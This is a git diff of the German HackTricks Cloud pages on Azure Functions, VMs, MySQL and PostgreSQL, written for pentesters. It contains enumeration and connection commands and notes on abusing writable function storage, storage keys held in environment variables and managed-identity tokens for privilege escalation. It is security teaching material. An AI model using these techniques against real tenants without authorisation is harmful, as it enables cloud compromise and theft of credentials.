- **Premium Plan**: Entwickelt für **konstante Leistung**, mit **vorwärmenden Arbeitern**, um Kaltstarts zu eliminieren. Es bietet **erweiterte Ausführungszeiten, virtuelles Networking** und unterstützt **benutzerdefinierte Linux-Images**, was es perfekt für **geschäftskritische Anwendungen** macht, die hohe Leistung und erweiterte Funktionen benötigen.
- **Dedicated Plan**: Läuft auf dedizierten virtuellen Maschinen mit **vorhersehbarer Abrechnung** und unterstützt manuelles oder automatisches Skalieren. Es ermöglicht das Ausführen mehrerer Apps im selben Plan, bietet **Rechenisolierung** und gewährleistet **sicheren Netzwerkzugang** über App Service Environments, was es ideal für **langfristige Anwendungen** macht, die eine konsistente Ressourcenzuteilung benötigen.
-- **Container Apps**: Ermöglicht das Bereitstellen von **containerisierten Funktions-Apps** in einer verwalteten Umgebung, zusammen mit Mikrodiensten und APIs. Es unterstützt benutzerdefinierte Bibliotheken, die Migration von Legacy-Apps und **GPU-Verarbeitung**, wodurch die Verwaltung von Kubernetes-Clustern entfällt. Ideal für **ereignisgesteuerte, skalierbare containerisierte Anwendungen**.
+- **Container Apps**: Ermöglicht das Bereitstellen von **containerisierten Funktions-Apps** in einer verwalteten Umgebung, zusammen mit Microservices und APIs. Es unterstützt benutzerdefinierte Bibliotheken, die Migration von Legacy-Apps und **GPU-Verarbeitung**, wodurch die Verwaltung von Kubernetes-Clustern entfällt. Ideal für **ereignisgesteuerte, skalierbare containerisierte Anwendungen**.
### **Speicher-Buckets**
@@ -23,7 +23,7 @@ Beim Erstellen einer neuen nicht containerisierten Function App (aber mit dem Co
Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen er gespeichert werden kann) geändert, sodass der **Code der App auf den neuen geändert und beim nächsten Aufruf der Funktion ausgeführt wird**.
-> [!CAUTION]
+> [!VORSICHT]
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** es einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren.
>
> Mehr dazu im **Abschnitt zur Berechtigungseskalation**.
@@ -39,12 +39,12 @@ Bei Verwendung eines HTTP-Triggers:
- Es ist möglich, **Zugriff auf eine Funktion von überall im Internet** zu gewähren, ohne eine Authentifizierung zu verlangen, oder den Zugriff IAM-basiert zu gewähren. Obwohl es auch möglich ist, diesen Zugriff einzuschränken.
- Es ist auch möglich, **Zugriff auf eine Function App von einem internen Netzwerk (VPC)** zu gewähren oder einzuschränken.
-> [!CAUTION]
+> [!VORSICHT]
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da es möglich sein könnte, von einer verwundbaren Funktion, die dem Internet ausgesetzt ist, **auf interne Netzwerke zu pivotieren**.
### **Function App-Einstellungen & Umgebungsvariablen**
-Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLER Berechtigung auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
+Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLBERECHTIGUNGEN auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
Diese Umgebungsvariablen oder Konfigurationsparameter steuern auch, wie die Funktion den Code ausführt, zum Beispiel, wenn **`WEBSITE_RUN_FROM_PACKAGE`** existiert, zeigt es die URL an, wo sich der Code der Anwendung befindet.
@@ -60,20 +60,20 @@ Genau wie [**VMs**](vms/index.html) können Funktionen **verwaltete Identitäten
Die **systemzugewiesene** Identität ist eine verwaltete Identität, die **nur die Funktion**, die sie zugewiesen hat, verwenden kann, während die **benutzerzugewiesenen** verwalteten Identitäten verwaltete Identitäten sind, die **von jedem anderen Azure-Dienst verwendet werden können**.
-> [!NOTE]
+> [!HINWEIS]
> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können.
>
> Wenn keine systemzugewiesene verwaltete Identität verwendet wird, aber eine oder mehrere benutzerverwaltete Identitäten an eine Funktion angehängt sind, können Sie standardmäßig kein Token erhalten.
-Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Token von der standardmäßigen verwalteten Identität vom Metadatenendpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
+Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Tokens von der standardmäßigen verwalteten Identität vom Metadatenendpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
+{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
Beachten Sie, dass Sie einen Weg finden müssen, um **alle verwalteten Identitäten zu überprüfen, die eine Funktion angehängt hat**, da der Metadatenendpunkt **nur die standardmäßige verwenden wird** (siehe den vorherigen Link für weitere Informationen).
## Zugriffsschlüssel
-> [!NOTE]
+> [!HINWEIS]
> Beachten Sie, dass es keine RBAC-Berechtigungen gibt, um Benutzern den Zugriff auf die Funktionen zu gewähren. Die **Funktionsausführung hängt vom Trigger** ab, der beim Erstellen ausgewählt wurde, und wenn ein HTTP-Trigger ausgewählt wurde, könnte es erforderlich sein, einen **Zugriffsschlüssel** zu verwenden.
Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger** ist es möglich, das **Zugriffsschlüssel-Autorisierungsniveau** anzugeben, das erforderlich ist, um die Funktion auszulösen. Drei Optionen sind verfügbar:
@@ -89,14 +89,14 @@ Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger
- **Master-Schlüssel:** Der Master-Schlüssel (`_master`) dient als administrativer Schlüssel, der erhöhte Berechtigungen bietet, einschließlich Zugriff auf alle Funktionsendpunkte (ADMIN-Zugriffslevel eingeschlossen). Dieser **Schlüssel kann nicht widerrufen werden.**
- **Systemschlüssel:** Systemschlüssel werden **von bestimmten Erweiterungen verwaltet** und sind erforderlich, um auf Webhook-Endpunkte zuzugreifen, die von internen Komponenten verwendet werden. Beispiele sind der Event Grid-Trigger und Durable Functions, die Systemschlüssel verwenden, um sicher mit ihren jeweiligen APIs zu interagieren.
-> [!TIP]
+> [!TIPP]
> Beispiel für den Zugriff auf einen Funktions-API-Endpunkt mit einem Schlüssel:
>
> `https://.azurewebsites.net/api/?code=`
### Basis-Authentifizierung
-Genau wie in App Services unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
+Genau wie bei App-Diensten unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Github-basierte Bereitstellungen
-Wenn eine Funktion aus einem Github-Repo generiert wird, ermöglicht die Azure-Webkonsole, **automatisch einen Github-Workflow in einem bestimmten Repository zu erstellen**, sodass der Code der Funktion aktualisiert wird, wenn dieses Repository aktualisiert wird. Tatsächlich sieht die Github Action YAML für eine Python-Funktion so aus:
+Wenn eine Funktion aus einem Github-Repo generiert wird, ermöglicht die Azure-Webkonsole, **automatisch einen Github-Workflow in einem bestimmten Repository zu erstellen**, sodass der Code der Funktion aktualisiert wird, wann immer dieses Repository aktualisiert wird. Tatsächlich sieht die Github Action YAML für eine Python-Funktion so aus:
diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md
new file mode 100644
index 000000000..2b97eb580
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md
@@ -0,0 +1,192 @@
+# Az - MySQL-Datenbanken
+
+{% hint style="success" %}
+Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstützen Sie HackTricks
+
+* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
+
+
+{% endhint %}
+
+## Azure MySQL
+Azure Database for MySQL ist ein vollständig verwalteter relationaler Datenbankdienst, der auf der MySQL Community Edition basiert und darauf ausgelegt ist, Skalierbarkeit, Sicherheit und Flexibilität für verschiedene Anwendungsbedürfnisse zu bieten. Es gibt zwei verschiedene Bereitstellungsmodelle:
+
+* **Einzelserver** (ist auf dem Weg zur Stilllegung):
+- Optimiert für kosteneffektive und einfach zu verwaltende MySQL-Bereitstellungen.
+- Zu den Funktionen gehören automatisierte Backups, hohe Verfügbarkeit und grundlegende Überwachung.
+- Ideal für Anwendungen mit vorhersehbaren Arbeitslasten.
+* **Flexibler Server**:
+- Bietet mehr Kontrolle über die Datenbankverwaltung und -konfiguration.
+- Unterstützt hohe Verfügbarkeit (same-zone und zone-redundant).
+- Bietet elastische Skalierung, Patch-Management und Arbeitslastoptimierung.
+- Bietet Stop/Start-Funktionalität zur Kostensenkung.
+
+### Hauptmerkmale
+* **Serververwaltung**: Die **ad-admin**-Funktion ermöglicht die Verwaltung von Azure Active Directory (AAD)-Administratoren für MySQL-Server, wodurch die Kontrolle über den administrativen Zugriff über AAD-Anmeldeinformationen bereitgestellt wird, während die **identity**-Funktion die Zuweisung und Verwaltung von Azure Managed Identities ermöglicht, die eine sichere, anmeldefreie Authentifizierung für den Zugriff auf Azure-Ressourcen bieten.
+* **Lebenszyklusverwaltung**: Optionen zum Starten oder Stoppen eines Servers, Löschen einer flexiblen Serverinstanz, Neustarten eines Servers, um Konfigurationsänderungen schnell anzuwenden, und Warten, um sicherzustellen, dass ein Server bestimmte Bedingungen erfüllt, bevor mit Automatisierungsskripten fortgefahren wird.
+* **Sicherheit und Netzwerk**: kann Serverfirewallregeln für den sicheren Datenbankzugriff verwalten und virtuelle Netzwerk-Konfigurationen nach Bedarf trennen.
+* **Datenschutz und Backup**: umfasst Optionen zur Verwaltung flexibler Server-Backups für die Datenwiederherstellung, Durchführung von Geo-Restore zur Wiederherstellung eines Servers in einer anderen Region, Export von Server-Backups zur externen Nutzung (in der Vorschau) und Wiederherstellung eines Servers aus einem Backup zu einem bestimmten Zeitpunkt.
+
+### Aufzählung
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
+```bash
+# List all flexible-servers
+az mysql flexible-server db list --resource-group
+# List databases in a flexible-server
+az mysql flexible-server db list --resource-group --server-name
+# Show specific details of a MySQL database
+az mysql flexible-server db show --resource-group --server-name --database-name
+
+# List firewall rules of the a server
+az mysql flexible-server firewall-rule list --resource-group --name
+
+# List all ad-admin in a server
+az mysql flexible-server ad-admin list --resource-group --server-name
+# List all user assigned managed identities from the server
+az mysql flexible-server identity list --resource-group --server-name
+
+# List the server backups
+az mysql flexible-server backup list --resource-group --name
+# List all read replicas for a given server
+az mysql flexible-server replica list --resource-group --name
+
+# Get the server's advanced threat protection setting
+az mysql flexible-server advanced-threat-protection-setting show --resource-group --name
+# List all of the maintenances of a flexible server
+az mysql flexible-server maintenance list --resource-group --server-name
+# List log files for a server.
+az mysql flexible-server server-logs list --resource-group --server-name
+
+```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.MySql
+
+# Get all flexible servers in a resource group
+Get-AzMySqlFlexibleServer -ResourceGroupName
+
+# List databases in a specific flexible server
+Get-AzMySqlFlexibleServerDatabase -ResourceGroupName -ServerName
+
+# Get details of a specific database in a flexible server
+Get-AzMySqlFlexibleServerDatabase -ResourceGroupName -ServerName -DatabaseName
+
+# List all firewall rules for a flexible server
+Get-AzMySqlFlexibleServerFirewallRule -ResourceGroupName -ServerName
+
+# Get the identity information of a flexible server
+Get-AzMySqlFlexibleServerIdentity -ResourceGroupName -ServerName
+
+# Get the server's advanced threat protection setting
+Get-AzMySqlFlexibleServerAdvancedThreatProtection -ResourceGroupName -ServerName
+
+# List configuration settings of a flexible server
+Get-AzMySqlFlexibleServerConfiguration -ResourceGroupName -ServerName
+# Get the connection string for a flexible server
+Get-AzMySqlFlexibleServerConnectionString -ResourceGroupName -ServerName -Client
+
+# List all read replicas for a given server
+Get-AzMySqlFlexibleServerReplica -ResourceGroupName -ServerName
+
+# Get the maintenance window details for a flexible server
+Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName
+
+# List log files for a server
+Get-AzMySqlFlexibleServerLog -ResourceGroupName -ServerName
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
+### Verbindung
+
+Mit der Erweiterung rdbms-connect können Sie auf die Datenbank zugreifen mit:
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server connect -n -u -p --interactive
+
+#or execute commands
+az mysql flexible-server execute \
+-n \
+-u \
+-p "" \
+-d \
+--querytext "SELECT * FROM ;"
+
+```
+{% endcode %}
+
+Oder mit dem MySQL-nativen Erweiterungs-Plugin
+{% code overflow="wrap" %}
+```bash
+mysql -h .mysql.database.azure.com -P 3306 -u -p
+```
+{% endcode %}
+
+Außerdem können Sie Abfragen mit GitHub ausführen, aber das Passwort und der Benutzer sind ebenfalls erforderlich. Sie müssen eine SQL-Datei mit der auszuführenden Abfrage einrichten und dann:
+{% code overflow="wrap" %}
+```bash
+# Setup
+az mysql flexible-server deploy setup \
+-s \
+-g \
+-u \
+-p "" \
+--sql-file \
+--repo \
+--branch \
+--action-name \
+--allow-push
+
+# Run it
+az mysql flexible-server deploy run \
+--action-name \
+--branch
+```
+{% endcode %}
+
+## Privilegieneskalation
+
+{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
+[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
+{% endcontent-ref %}
+
+## Post-Exploitation
+
+{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
+[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
+{% endcontent-ref %}
+
+## ToDo
+
+* Suche nach einer Möglichkeit, mit mysql flexible-server als Admin zuzugreifen, um zu überprüfen, ob es sich um eine Privilegieneskalationsmethode handelt.
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstütze HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
new file mode 100644
index 000000000..2925086b4
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
@@ -0,0 +1,173 @@
+# Az - PostgreSQL-Datenbanken
+
+{% hint style="success" %}
+Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstützen Sie HackTricks
+
+* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
+
+
+{% endhint %}
+
+## Azure PostgreSQL
+**Azure Database for PostgreSQL** ist ein vollständig verwalteter **relationaler Datenbankdienst, der auf der PostgreSQL** Community Edition basiert. Er wurde entwickelt, um Skalierbarkeit, Sicherheit und Flexibilität für unterschiedliche Anwendungsbedürfnisse zu bieten. Ähnlich wie Azure MySQL bietet PostgreSQL zwei Bereitstellungsmodelle:
+
+* **Einzelserver** (auf dem Rückzugspfad):
+- Optimiert für einfache, kostengünstige PostgreSQL-Bereitstellungen.
+- Bietet automatisierte Backups, grundlegende Überwachung und hohe Verfügbarkeit.
+- Ideal für Anwendungen mit vorhersehbaren Arbeitslasten.
+* **Flexibler Server**:
+- Bietet mehr Kontrolle über Datenbankmanagement und -konfiguration.
+- Unterstützt hohe Verfügbarkeit, sowohl in derselben Zone als auch über Zonen hinweg.
+- Bietet elastische Skalierung, automatisierte Wartung und kostensparende Funktionen.
+- Ermöglicht das Starten und Stoppen des Servers zur Kostenoptimierung.
+
+### Hauptmerkmale
+
+* **Benutzerdefinierte Wartungsfenster**: Planen Sie Updates, um Störungen zu minimieren.
+* **Aktive Überwachung**: Greifen Sie auf detaillierte Metriken und Protokolle zu, um die Datenbankleistung zu verfolgen und zu verbessern.
+* **Server stoppen/starten**: Benutzer können den Server stoppen und starten.
+* **Automatische Backups**: Eingebaute tägliche Backups mit konfigurierbaren Aufbewahrungsfristen von bis zu 35 Tagen.
+* **Rollenbasierter Zugriff**: Steuern Sie Benutzerberechtigungen und administrativen Zugriff über Azure Active Directory.
+* **Sicherheit und Netzwerk**: Sie können Serverfirewallregeln für den sicheren Datenbankzugriff verwalten und virtuelle Netzwerk-Konfigurationen nach Bedarf trennen.
+
+### Aufzählung
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
+```bash
+# List servers in a resource group
+az postgres flexible-server list --resource-group
+# List databases in a flexible-server
+az postgres flexible-server db list --resource-group --server-name
+# Show specific details of a Postgre database
+az postgres flexible-server db show --resource-group --server-name --database-name
+
+# List firewall rules of the a server
+az postgres flexible-server firewall-rule list --resource-group --name
+# List parameter values for a felxible server
+az postgres flexible-server parameter list --resource-group --server-name
+# List private link
+az postgres flexible-server private-link-resource list --resource-group --server-name
+
+# List all ad-admin in a server
+az postgres flexible-server ad-admin list --resource-group --server-name
+# List all user assigned managed identities from the server
+az postgres flexible-server identity list --resource-group --server-name
+
+# List the server backups
+az postgres flexible-server backup list --resource-group --name
+# List all read replicas for a given server
+az postgres flexible-server replica list --resource-group --name
+# List migrations
+az postgres flexible-server migration list --resource-group --name
+
+# Get the server's advanced threat protection setting
+az postgres flexible-server advanced-threat-protection-setting show --resource-group --name
+# List all of the maintenances of a flexible server
+az postgres flexible-server maintenance list --resource-group --server-name
+# List log files for a server.
+az postgres flexible-server server-logs list --resource-group --server-name
+
+```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.PostgreSql
+
+# List flexible-servers in a resource group
+Get-AzPostgreSqlFlexibleServer -ResourceGroupName
+# List databases in a flexible-server
+Get-AzPostgreSqlFlexibleServerDatabase -ResourceGroupName -ServerName
+
+# List firewall rules of the a flexible-server
+Get-AzPostgreSqlFlexibleServerFirewallRule -ResourceGroupName -ServerName
+
+# List configuration settings of a flexible server
+Get-AzPostgreSqlFlexibleServerConfiguration -ResourceGroupName -ServerName
+# Get the connection string for a flexible server
+Get-AzPostgreSqlFlexibleServerConnectionString -ResourceGroupName -ServerName -Client
+
+Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location
+
+# List servers in a resource group
+Get-AzPostgreSqlServer -ResourceGroupName
+
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
+### Verbindung
+
+Mit der Erweiterung rdbms-connect können Sie auf die Datenbank zugreifen mit:
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server connect -n -u -p --interactive
+
+#or execute commands
+az postgres flexible-server execute \
+-n \
+-u \
+-p "" \
+-d \
+--querytext "SELECT * FROM ;"
+
+```
+{% endcode %}
+
+Oder
+{% code overflow="wrap" %}
+```bash
+psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
+```
+{% endcode %}
+
+## Referenzen
+
+* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
+* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
+* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
+
+## Privilegieneskalation
+
+{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
+[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
+{% endcontent-ref %}
+
+## Post-Exploitation
+
+{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
+[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
+{% endcontent-ref %}
+
+## ToDo
+
+* Überprüfen, wie man mit ad-admin zugreifen kann, um zu verifizieren, dass es sich um eine Privilegieneskalationsmethode handelt
+
+
+{% hint style="success" %}
+Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstützen Sie HackTricks
+
+* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md
index b978a728f..49ad95111 100644
--- a/src/pentesting-cloud/azure-security/az-services/vms/README.md
+++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md
@@ -12,11 +12,11 @@ az-azure-network.md
## Grundinformationen zu VMs
-Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasierte Server, die es Ihnen ermöglichen, Windows- oder Linux-Betriebssysteme auszuführen**. Sie ermöglichen die Bereitstellung von Anwendungen und Workloads, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Speicheroptionen konfiguriert werden, um spezifische Anforderungen zu erfüllen und sich in Azure-Dienste wie virtuelle Netzwerke, Speicher und Sicherheitswerkzeuge zu integrieren.
+Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasierte Server, die es Ihnen ermöglichen, Windows- oder Linux-Betriebssysteme auszuführen**. Sie ermöglichen es Ihnen, Anwendungen und Workloads bereitzustellen, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Speicheroptionen konfiguriert werden, um spezifische Anforderungen zu erfüllen und sich in Azure-Dienste wie virtuelle Netzwerke, Speicher und Sicherheitswerkzeuge zu integrieren.
### Sicherheitskonfigurationen
-- **Verfügbarkeitszonen**: Verfügbarkeitszonen sind verschiedene Gruppen von Rechenzentren innerhalb einer bestimmten Azure-Region, die physisch getrennt sind, um das Risiko zu minimieren, dass mehrere Zonen von lokalen Ausfällen oder Katastrophen betroffen sind.
+- **Verfügbarkeitszonen**: Verfügbarkeitszonen sind distinct Gruppen von Rechenzentren innerhalb einer bestimmten Azure-Region, die physisch getrennt sind, um das Risiko zu minimieren, dass mehrere Zonen von lokalen Ausfällen oder Katastrophen betroffen sind.
- **Sicherheitstyp**:
- **Standard-Sicherheit**: Dies ist der Standard-Sicherheitstyp, der keine spezifische Konfiguration erfordert.
- **Vertrauenswürdiger Start**: Dieser Sicherheitstyp verbessert den Schutz gegen Bootkits und Malware auf Kernel-Ebene durch die Verwendung von Secure Boot und Virtual Trusted Platform Module (vTPM).
@@ -28,8 +28,8 @@ Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasiert
- **Keine**: Öffnet im Grunde jeden Port
- **Basis**: Ermöglicht das einfache Öffnen der eingehenden Ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Erweitert**: Wählen Sie eine Sicherheitsgruppe aus
-- **Backup**: Es ist möglich, **Standard**-Backups (einmal täglich) und **Erweiterte** (mehrmals täglich) zu aktivieren
-- **Patch-Orchestrierungsoptionen**: Dies ermöglicht das automatische Anwenden von Patches in den VMs gemäß der ausgewählten Richtlinie, wie in den [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) beschrieben.
+- **Backup**: Es ist möglich, **Standard**-Backup (einmal täglich) und **Erweitert** (mehrmals täglich) zu aktivieren
+- **Patch-Orchestrierungsoptionen**: Dies ermöglicht es, automatisch Patches in den VMs gemäß der ausgewählten Richtlinie anzuwenden, wie in den [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) beschrieben.
- **Benachrichtigungen**: Es ist möglich, automatisch Benachrichtigungen per E-Mail oder mobile App zu erhalten, wenn etwas in der VM passiert. Standardregeln:
- Prozentsatz CPU ist größer als 80%
- Verfügbare Speicherbytes sind weniger als 1 GB
@@ -38,10 +38,10 @@ Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasiert
- Netzwerk insgesamt ist größer als 500 GB
- Netzwerk aus insgesamt ist größer als 200 GB
- VmAvailabilityMetric ist weniger als 1
-- **Gesundheitsmonitor**: Standardmäßig wird das Protokoll HTTP auf Port 80 überprüft
+- **Gesundheitsmonitor**: Standardmäßig wird das Protokoll HTTP an Port 80 überprüft
- **Sperren**: Es ermöglicht, eine VM zu sperren, sodass sie nur gelesen werden kann (**ReadOnly**-Sperre) oder sie kann gelesen und aktualisiert, aber nicht gelöscht werden (**CanNotDelete**-Sperre).
- Die meisten VM-bezogenen Ressourcen **unterstützen ebenfalls Sperren** wie Festplatten, Snapshots...
-- Sperren können auch auf **Ressourcengruppen- und Abonnementebene** angewendet werden.
+- Sperren können auch auf **Ressourcengruppen- und Abonnementebene** angewendet werden
## Festplatten & Snapshots
@@ -76,10 +76,10 @@ Get-AzDisk -Name -ResourceGroupName
## Bilder, Galerie-Bilder & Wiederherstellungspunkte
-Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um **eine neue virtuelle Maschine (VM)** zu **erstellen**. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs** dient.\
+Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um **eine neue virtuelle Maschine (VM)** zu erstellen. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs dient**.\
